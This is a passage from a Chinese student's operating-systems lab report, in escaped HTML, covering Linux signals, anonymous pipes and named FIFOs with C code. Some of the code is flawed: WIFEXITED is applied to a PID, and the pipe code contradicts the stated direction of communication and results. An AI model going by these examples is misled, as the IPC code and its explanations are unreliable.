function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e signal(SIGINT , sigchld_handler);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e signal(SIGCHLD, sigchld_handler);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pid=fork();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid\u0026lt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(\u003cspan class=\"built_in\"\u003estderr\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Fork failed.\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid==\u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// child process\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[child_pid %d]started child process.\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sleep(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[child_pid %d]running child process.\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(!WIFEXITED(pid));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果-2\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C-2\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230523164421.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,父进程成功接收到了子进程发送的信号,并执行了相应的处理函数。\u003c/p\u003e\u003ch3 id=\"五、实验心得-2\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97-2\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下信号通信的原理和用法,知道了如何使用系统调用来发送和接收信号,在父子进程之间进行简单交互。同时,我也了解了信号处理函数的编写方法和注意事项。\u003c/p\u003e\u003ch2 id=\"实验4:匿名管道\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C4%EF%BC%9A%E5%8C%BF%E5%90%8D%E7%AE%A1%E9%81%93\" class=\"headerlink\" title=\"实验4:匿名管道\"\u003e\u003c/a\u003e实验4:匿名管道\u003c/h2\u003e\u003ch3 id=\"一、实验目标-3\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87-3\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e理解匿名管道的原理和用法\u003c/li\u003e\u003cli\u003e使用匿名管道实现父子进程之间的双向通信\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程-3\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-3\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建两个单文档应用程序Parent和Child作为父子进程。在Parent中引入头文件\u003ccode\u003eunistd.h\u003c/code\u003e和\u003ccode\u003estdio.h\u003c/code\u003e。在主程序中使用\u003ccode\u003epipe()\u003c/code\u003e函数创建一个匿名管道,并使用\u003ccode\u003efork()\u003c/code\u003e函数创建一个子进程。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc==0\u003c/code\u003e,则当前进程是子进程。子进程关闭管道的写端,并使用\u003ccode\u003edup2()\u003c/code\u003e函数将管道的读端重定向到标准输入。然后使用\u003ccode\u003eexeclp()\u003c/code\u003e函数执行Child程序。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc\u0026gt;0\u003c/code\u003e,则当前进程是父进程。父进程关闭管道的读端,并使用\u003ccode\u003edup2()\u003c/code\u003e函数将管道的写端重定向到标准输出。然后使用\u003ccode\u003eprintf()\u003c/code\u003e函数向管道写入数据,并使用\u003ccode\u003ewait()\u003c/code\u003e函数等待子进程结束。\u003c/p\u003e\u003cp\u003e在Child程序中,引入头文件\u003ccode\u003eunistd.h\u003c/code\u003e和\u003ccode\u003estdio.h\u003c/code\u003e。在主程序中使用\u003ccode\u003escanf()\u003c/code\u003e函数从标准输入读取数据,并打印出来。\u003c/p\u003e\u003cp\u003e此处我使用\u003ccode\u003efork()\u003c/code\u003e创建了两个进程来模拟父子进程通信,从原理上和两个单独进程的效果一样。\u003c/p\u003e\u003ch3 id=\"三、实验代码-3\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81-3\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/wait.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e fd[\u003cspan class=\"number\"\u003e2\u003c/span\u003e], pid;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e buffer[\u003cspan class=\"number\"\u003e1024\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pipe(fd)==\u003cspan class=\"number\"\u003e-1\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e perror(\u003cspan class=\"string\"\u003e\u0026#34;pipe\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pid=fork();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid\u0026lt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e perror(\u003cspan class=\"string\"\u003e\u0026#34;fork\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid==\u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Child: Writing to pipe\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e close(fd[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e write(fd[\u003cspan class=\"number\"\u003e1\u003c/span\u003e], \u003cspan class=\"string\"\u003e\u0026#34;Hello, World!\u0026#34;\u003c/span\u003e ,\u003cspan class=\"built_in\"\u003estrlen\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello, World!\u0026#34;\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e close(fd[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e wait(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e read(fd[\u003cspan class=\"number\"\u003e0\u003c/span\u003e], buffer, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(buffer));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Parent: %s\\n\u0026#34;\u003c/span\u003e, buffer);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果-3\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C-3\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230523164828.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,父进程成功向匿名管道写入数据,并被子进程读取并打印出来。\u003c/p\u003e\u003ch3 id=\"五、实验心得-3\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97-3\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下匿名管道的原理和用法,知道了如何使用系统调用来创建和操作匿名管道,在父子进程之间进行双向通信。同时,我也了解了如何使用重定向技术来改变标准输入输出的来源和目的地。\u003c/p\u003e\u003ch2 id=\"实验5:命名匿名管道通信\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C5%EF%BC%9A%E5%91%BD%E5%90%8D%E5%8C%BF%E5%90%8D%E7%AE%A1%E9%81%93%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"实验5:命名匿名管道通信\"\u003e\u003c/a\u003e实验5:命名匿名管道通信\u003c/h2\u003e\u003ch3 id=\"一、实验目标-4\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87-4\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e理解命名匿名管道的原理和用法\u003c/li\u003e\u003cli\u003e使用命名匿名管道实现父子进程之间的单向通信\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程-4\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-4\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建一个main.c,并引入头文件unistd.h和stdio.h。在主程序中使用mkfifo()函数创建一个命名匿名管道,并使用fork()函数创建一个子进程。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc==0\u003c/code\u003e,则当前进程是子进程。子进程使用open()函数打开命名匿名管道,并使用write()函数向管道写入数据。然后使用close()函数关闭管道,并使用exit()函数退出子进程。\u003c/p\u003e\u003cp\u003e如果rc\u0026gt;0,则当前进程是父进程。父进程使用open()函数打开命名匿名管道,并使用read()函数从管道读取数据。然后使用close()函数关闭管道,并使用wait()函数等待子进程结束。\u003c/p\u003e\u003ch3 id=\"三、实验代码-4\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81-4\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan 